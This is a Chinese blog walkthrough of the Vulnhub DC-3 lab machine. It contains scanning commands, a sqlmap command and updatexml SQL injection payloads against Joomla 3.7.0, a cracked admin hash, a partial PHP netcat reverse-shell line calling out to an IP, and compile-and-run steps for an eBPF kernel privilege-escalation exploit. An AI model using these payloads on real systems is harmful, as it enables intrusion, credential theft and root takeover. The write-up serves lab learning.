Vulnhub之 DC-3 joomla注入和ubuntu16.04提权

Vulnhub靶机之DC-3

前言

刚考完试,然而不能放弃对技术的热爱,又重新拾起了dc准备把他们6个做完

今天介绍的是dc-3 ,来看看作者对他的评价

描述:

DC-3是另一个专门建造的脆弱实验室,旨在获得渗透测试领域的经验。

与之前的DC版本一样,这个版本在设计时考虑了初学者,虽然这一次,只有一个标志,一个入口点,根本没有线索。
Linux技能和熟悉Linux命令行是必须的,基本渗透测试工具的一些经验也是必须的。

对于初学者来说,谷歌可以提供很大的帮助,但是你总是可以在@ DCAU7上给我发信息以获得帮助,让你再次前行。 但请注意:我不会给你答案,相反,我会告诉你如何前进。

对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花费你很长时间(实际上,你可能很容易花费不到20分钟)。

如果是这种情况,并且如果您希望它更具挑战性,您可以随时重做挑战并探索获得根并获得旗帜的其他方式

靶机环境

首先设置靶机为NAT模式,如果获取不到ip 删除网络适配器重新添加

ip地址:

kali: 192.168.31.225

DC-3: 192.168.31.19

开始复现

由于下载的靶机是vbox的使用的,在vmware上出现了一些小问题,所以耽搁了一点时间。

解决方法: vmware打开kali并且vbox打开DC-3 或者都使用vbox去打开

  • 扫描网段

    命令:nmap -sn 192.168.31.0/24

  • 扫描端口

    命令: nmap -sS 192.168.31.19

  • 访问网站

    url: http://192.168.31.19

  • 指纹获取

  • 看起来是joomla的cms,使用扫描工具跑一下

    这里使用kali自带的扫描工具

    命令: joomscan -u http://192.168.31.19

看来没有什么结果,在搜索的同时 ,我们尝试一些简单的操作,比如弱密码,sql注入,但是看起来情况不容乐观啥都没有,

扫描结果出来了,看看扫描到了版本信息,后台

版本信息: Joomla 3.7.0

后台目录: http://192.168.31.19/administrator/

  • 查找相关漏洞

    发现这个版本存在sql注入漏洞

    接下来就是复现一下了

  • 通过搜索发现可以注入获取到hash密码

    参考链接: https://www.anquanke.com/post/id/86119

    这里先借用工具试试: https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py

    复制到本地,然后执行命令:python joomblah.py http://192.168.31.19

    获取到user的信息

    Found user ['629', 'admin', 'admin', '[email protected]','$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu', '', '']

​ 手工注入

​ 获取hash 或者可以获取session来登录

​ 附上poc 参考链接: https://www.exploit-db.com/exploits/42033

​ using sqlmap

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

​ 1获取当前的用户

​ index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)

​ 也可以获取最近登录的session 这样也可以登录后台

​ 2 获取版本

​ index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(version())),0)

XPATH syntax error: '>5.7.25-0ubuntu0.16.04.2'

​ 3 查数据库

​ index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(database())),0)

XPATH syntax error: '>joomladb'

​ 其他的就不一一解释了

  • 登录

    破解hash值登录$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

    爆破得到密码: snoopy

  • 寻找上传点

  • 反弹shell

    写入代码

    &1|nc 192.168.56.1 1337 >/tmp/f’); ?>

  • kali 监听 获取shell

    这里切记一定要在同一个网段下,虽然两个网段也能通信但是shell反弹失败

    获取交互模式

    python 'import pty;pty.spawn("/bin/bash")'

    注意: 如果交互模式不成功,就换个文件名或者换个路径重新反弹交互shell

  • 获取信息

    获取版本信息

  • 搜索相关系统漏洞尝试提权

    参考: https://www.exploit-db.com/

    然后我参照大佬的选用了本地拒绝服务漏洞提权

    如果要复现漏洞需要检查版本,用户权限

    将提权下载到本地,编译后,使用wget下载,这个下载了好久才下载好

    之后就是按步骤走了

    下载两个文件

    tar xf exploit.tar
    cd ebpf_mapfd_doubleput_exploit
    ./compile.sh
    ./doubleput
    

  • 提权成功

  • 获取flag

结束语

​ 这次花费了大量的时间调试,对于各种问题的解决方式有待提高,今日份的靶机奉上,本靶机只适合学习不要将其中的技术用于其他途径。

你可能感兴趣的:(靶机)